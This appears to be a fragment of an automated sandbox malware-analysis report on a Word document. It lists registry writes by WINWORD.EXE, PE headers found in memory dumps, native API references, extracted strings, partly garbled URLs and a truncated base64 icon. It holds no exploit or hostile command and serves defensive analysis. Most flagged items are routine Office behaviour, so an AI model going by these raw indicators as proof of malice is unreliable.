Key: "(DEFAULT)"; Value: "WHTMLControlEvents2"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents3"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents3"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents4"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents4"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents5"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents5"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents6"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents6"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents7"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents7"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents9"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents9"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents10"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents10"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{5CEF5613-713D-11CE-80C9-00AA00611080}"; Key: "(DEFAULT)"; Value: "IPage"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{5CEF5613-713D-11CE-80C9-00AA00611080}"; Key: "(DEFAULT)"; Value: "IPage"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{92E11A03-7358-11CE-80CB-00AA00611080}"; Key: "(DEFAULT)"; Value: "Pages"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{92E11A03-7358-11CE-80CB-00AA00611080}"; Key: "(DEFAULT)"; Value: "Pages"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "IMultiPage"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "IMultiPage"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}"; Key: "(DEFAULT)"; Value: "MultiPageEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}"; Key: "(DEFAULT)"; Value: "MultiPageEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100A0C00100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_3082"; Value: "01001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100A0C00100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_3082"; Value: "02001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100C0400100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1036"; Value: "01001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100C0400100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1036"; Value: "02001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "02001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "03001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100A0C00100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_3082"; Value: "03001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100A0C00100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_3082"; Value: "04001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100C0400100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1036"; Value: "03001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100C0400100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1036"; Value: "04001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "04001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "05001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SHARED TOOLS\PROOFING TOOLS\1.0\CUSTOM DICTIONARIES"; Key: "1"; Value: "CUSTOM.DIC"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SHARED TOOLS\PROOFING TOOLS\1.0\CUSTOM DICTIONARIES"; Key: "UPDATECOMPLETE"; Value: "01000000"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "06001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "07001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "08001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400100000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "09001159"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SHARED TOOLS\PROOFING TOOLS\GRAMMAR\MSGRAMMAR\3.0\1033"; Key: "OPTIONS VERSION"; Value: "01000000"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SHARED TOOLS\PROOFING TOOLS\GRAMMAR\MSGRAMMAR\3.0\1033\OPTION SET 0"; Key: "NAME"; Value: "Grammar & Style"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SHARED TOOLS\PROOFING TOOLS\GRAMMAR\MSGRAMMAR\3.0\1033\OPTION SET 0"; Key: "DATA"; Value: "0101010101010101010101010101010101010101010101010101010100010101020202"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SHARED TOOLS\PROOFING TOOLS\GRAMMAR\MSGRAMMAR\3.0\1033\OPTION SET 1"; Key: "NAME"; Value: "Grammar Only"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SHARED TOOLS\PROOFING TOOLS\GRAMMAR\MSGRAMMAR\3.0\1033\OPTION SET 1"; Key: "DATA"; Value: "0101010101010101010101000000000000000000000000000000000000000000020202"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\RECOGNIZERS\{3133A7FE-BC5F-4D81-BF02-184ECC88D66E}"; Key: "(DEFAULT)"; Value: "0000"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\ACTIONS\{16A933D2-A296-49D5-96FC-C7C2DAEE88B4}"; Key: "(DEFAULT)"; Value: "0000"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\ACTIONS\{16A933D2-A296-49D5-96FC-C7C2DAEE88B4}"; Key: "FILENAME"; Value: "%PROGRAMFILES%\COMMON~1\MICROS~1\SMARTT~1\LISTS\BASMLA.XSL"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\ACTIONS\{3CC385AC-95CC-4A75-BF35-AB36AE645BCF}"; Key: "(DEFAULT)"; Value: "0000"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\ACTIONS\{99E0D1EC-0A0D-4E50-B8A1-82A8B6ECE5CB}"; Key: "(DEFAULT)"; Value: "0000"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\ACTIONS\{B7EFF951-E52F-45CC-9EF7-57124F2177CC}"; Key: "SOLUTION"; Value: "{15727DE6-F92D-4E46-ACB4-0E2C58B31A18}"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG"; Key: "MIGRATEDBITVALUES"; Value: "01000000"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\APPLICATIONS\OPUSAPP"; Key: "FRIENDLYNAME"; Value: "Microsoft Word 14.0"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\APPLICATIONS\OPUSAPP"; Key: "SAVE"; Value: "01000000"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\APPLICATIONS\OPUSAPP"; Key: "SHOWBUTTONS"; Value: "01000000"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\APPLICATIONS\OPUSAPP"; Key: "SHOWINDICATORS"; Value: "01000000")30:T8e1,Found PE header "MZ" - Source: "00000000-00001428.00000000.76146.05150000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000000.76146.12C50000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000000.76146.14490000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000000.76146.16180000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000000.76146.1DA40000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000000.76146.1DC10000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000000.76146.1DD40000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000000.76146.4A880000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000000.76146.5E890000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000001.78069.05150000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000001.78069.12C50000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000001.78069.14490000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000001.78069.16180000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000001.78069.1D7E0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000001.78069.1DA40000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000001.78069.1DC10000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000001.78069.1DD40000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000001.78069.4A880000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000001.78069.5E890000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000002.79989.05150000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000002.79989.12C50000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000002.79989.14490000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000002.79989.16180000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000002.79989.1D7E0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00001428.00000002.79989.1DA40000.00000002.mdmp")31:T676,Found reference to native API (Indicator: "RtlCaptureContext"; Source: "00000000-00001428.00000000.76146.1DBA1000.00000002.mdmp, 00000000-00001428.00000000.76146.1DD20000.00000002.mdmp, 00000000-00001428.00000000.76146.1DEC0000.00000002.mdmp, 00000000-00001428.00000000.76146.4A883000.00000002.mdmp, 00000000-00001428.00000000.76146.5E891000.00000020.mdmp, 00000000-00001428.00000001.78069.1D81A000.00000002.mdmp, 00000000-00001428.00000001.78069.1DBA1000.00000002.mdmp, 00000000-00001428.00000001.78069.1DD20000.00000002.mdmp, 00000000-00001428.00000001.78069.1DEC0000.00000002.mdmp, 00000000-00001428.00000001.78069.4A883000.00000002.mdmp, 00000000-00001428.00000001.78069.5E891000.00000020.mdmp, 00000000-00001428.00000002.79989.1D81A000.00000002.mdmp, 00000000-00001428.00000002.79989.1DBA1000.00000002.mdmp, 00000000-00001428.00000002.79989.1DD20000.00000002.mdmp, 00000000-00001428.00000002.79989.1DEC0000.00000002.mdmp, 00000000-00001428.00000002.79989.4A883000.00000002.mdmp, 00000000-00001428.00000002.79989.5E891000.00000020.mdmp") Found reference to native API (Indicator: "VerSetConditionMask"; Source: "00000000-00001428.00000000.76146.1DEC0000.00000002.mdmp, 00000000-00001428.00000001.78069.1DEC0000.00000002.mdmp, 00000000-00001428.00000002.79989.1DEC0000.00000002.mdmp") Found reference to native API (Indicator: "RtlCaptureStackBackTrace"; Source: "00000000-00001428.00000000.76146.1DEC0000.00000002.mdmp, 00000000-00001428.00000001.78069.1D81A000.00000002.mdmp, 00000000-00001428.00000001.78069.1DEC0000.00000002.mdmp, 00000000-00001428.00000002.79989.1D81A000.00000002.mdmp, 00000000-00001428.00000002.79989.1DEC0000.00000002.mdmp")32:T99d,"Insert the data into the document" (Source: 00000000-00001428.00000000.76146.05150000.00000002.mdmp, 00000000-00001428.00000001.78069.05150000.00000002.mdmp, 00000000-00001428.00000002.79989.05150000.00000002.mdmp, Indicator: "insert the data into the document") "Inserts a new object into your document.Inserts a new object into your document as an icon.Inserts the contents of the file into your document so that you can edit it later using the application which created the source file.Inserts an icon that represents the contents of the file into your document.Inserts the contents of the file into your document and creates a shortcut to the source file. Changes to the source file will be reflected in your document.Inserts an icon that represents the contents of the file into your document. Changes to the source file will be reflected in your document." (Source: 00000000-00001428.00000000.76146.05150000.00000002.mdmp, 00000000-00001428.00000001.78069.05150000.00000002.mdmp, 00000000-00001428.00000002.79989.05150000.00000002.mdmp, Indicator: "inserts a new object into your document.inserts a new object into your document as an icon.inserts the contents of the file into your document so that you can edit it later using the application which created the source file.inserts an icon that represents the contents of the file into your document.inserts the contents of the file into your document and creates a shortcut to the source file. changes to the source file will be reflected in your document.inserts an icon that represents the contents of the file into your document. changes to the source file will be reflected in your document.") "Inserts the contents of the Clipboard into your document so that you can edit it using ." (Source: 00000000-00001428.00000000.76146.05150000.00000002.mdmp, 00000000-00001428.00000001.78069.05150000.00000002.mdmp, 00000000-00001428.00000002.79989.05150000.00000002.mdmp, Indicator: "inserts the contents of the clipboard into your document so that you can edit it using .") "Select the country/®ion you are calling from and call the Product Activation Center using any of the telephone numbers provided." (Source: 00000000-00001428.00000001.78069.09A60000.00000004.mdmp, 00000000-00001428.00000002.79989.09A60000.00000004.mdmp, Indicator: "select the country/®ion you are calling from and call the product activation center using any of the telephone numbers provided.")33:T99d,"Insert the data into the document" (Source: 00000000-00001428.00000000.76146.05150000.00000002.mdmp, 00000000-00001428.00000001.78069.05150000.00000002.mdmp, 00000000-00001428.00000002.79989.05150000.00000002.mdmp, Indicator: "insert the data into the document") "Inserts a new object into your document.Inserts a new object into your document as an icon.Inserts the contents of the file into your document so that you can edit it later using the application which created the source file.Inserts an icon that represents the contents of the file into your document.Inserts the contents of the file into your document and creates a shortcut to the source file. Changes to the source file will be reflected in your document.Inserts an icon that represents the contents of the file into your document. Changes to the source file will be reflected in your document." (Source: 00000000-00001428.00000000.76146.05150000.00000002.mdmp, 00000000-00001428.00000001.78069.05150000.00000002.mdmp, 00000000-00001428.00000002.79989.05150000.00000002.mdmp, Indicator: "inserts a new object into your document.inserts a new object into your document as an icon.inserts the contents of the file into your document so that you can edit it later using the application which created the source file.inserts an icon that represents the contents of the file into your document.inserts the contents of the file into your document and creates a shortcut to the source file. changes to the source file will be reflected in your document.inserts an icon that represents the contents of the file into your document. changes to the source file will be reflected in your document.") "Inserts the contents of the Clipboard into your document so that you can edit it using ." (Source: 00000000-00001428.00000000.76146.05150000.00000002.mdmp, 00000000-00001428.00000001.78069.05150000.00000002.mdmp, 00000000-00001428.00000002.79989.05150000.00000002.mdmp, Indicator: "inserts the contents of the clipboard into your document so that you can edit it using .") "Select the country/®ion you are calling from and call the Product Activation Center using any of the telephone numbers provided." (Source: 00000000-00001428.00000001.78069.09A60000.00000004.mdmp, 00000000-00001428.00000002.79989.09A60000.00000004.mdmp, Indicator: "select the country/®ion you are calling from and call the product activation center using any of the telephone numbers provided.")34:Tb96,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001428.00000000.76146.02F30000.00000004.mdmp") Found URL "http://httplhttp:hvaehavehvainghavinghwichwhichi" - Source: "00000000-00001428.00000000.76146.0A120000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001428.00000001.78069.02F30000.00000004.mdmp") Found URL "http://httplhttp:hvaehavehvainghavinghwichwhichi" - Source: "00000000-00001428.00000001.78069.0A120000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001428.00000001.78069.0B7C0000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001428.00000001.78069.0B7D0000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001428.00000001.78069.0B7F0000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001428.00000001.78069.0B800000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001428.00000001.78069.0B820000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/content-types" - Source: "00000000-00001428.00000001.78069.0B830000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/content-t" - Source: "00000000-00001428.00000001.78069.0B850000.00000004.mdmp") Found URL "http://www.w3.org/2000/xmlns/iscyrillicsupplementisenclosedalphanumericsisenclosedcjklettersandmonthsh<" - Source: "00000000-00001428.00000001.78069.0B874000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001428.00000001.78069.0BBEE000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001428.00000002.79989.02F30000.00000004.mdmp") Found URL "http://httplhttp:hvaehavehvainghavinghwichwhichi" - Source: "00000000-00001428.00000002.79989.0A120000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001428.00000002.79989.0B7C0000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001428.00000002.79989.0B7D0000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001428.00000002.79989.0B7F0000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/relationships" - Source: "00000000-00001428.00000002.79989.0B800000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/r" - Source: "00000000-00001428.00000002.79989.0B820000.00000004.mdmp") Found URL "http://schemas.openxmlformats.org/package/2006/content-types" - Source: "00000000-00001428.00000002.79989.0B830000.00000004.mdmp") Found URL "http://schemas.openformatrg/package/2006/content-t" - Source: "00000000-00001428.00000002.79989.0B850000.00000004.mdmp")35:T92c,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:T92c,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAGqElEQVR42s2X2U+UZxTGTZr0L/C+V6ZJL1qbtLax6U3b1GhjaltjSI21GtRia1s1tHGJqVIVxYpiBWTfYdgXkR0EXABlB9lnmH1lmIEZmO2bp+95v/mGGcVCml44ycPMsHzP7znnPecbNmx4VR9VbYMIVWXrACpa+rnKm/tR1tSLUlJDL0oanqK4/glkdT0oYiq8183UhQL2rFDoYDKZ8J8A1vvw+5mkZyZBAHxM+bVdOHkpjUMozeaXQ5xMNELSsZs6riPXZhEZO4XvYkYR8ccY9pwdxK7oHuw68Qjbj7VzffJDA7bsLw8ac/MQgLy7j6CxAhHHYv4dgozruhyrqrjVHlRWnY3rTtUc160SHTbvLVnV3MuUW/2AA0wbvPh4948vh5AAwsoK8YI+9sXr88PtIQlYdglwLvvgcPpWB2AvJICsyo4gwIDcifd3Rq4OQSUPBRD84eYerx8ud7j5gsPDAd6KyAsCFPcshimzvD0EwIHOESve2bb/RQjqNwGcThrHr3FDXNTrimYFN/8wIpmb0xnYe/oJF52BK/nGIIAQAKDHvMOLMbUD6WVtaBuyoKnPhNoePcofaCBrVQYhVgWgVKRDZ2v4xQ5f7Mfbu+LRPaTi34+KeYwPDtxFTNok4vJm8OZXmWEAS6xSAnvTPWZGemkrDkZfw77jsdhz9Dx2HjyFz749jo++juIQQQA67QRAF6GLkrlS5+SvyXTTjq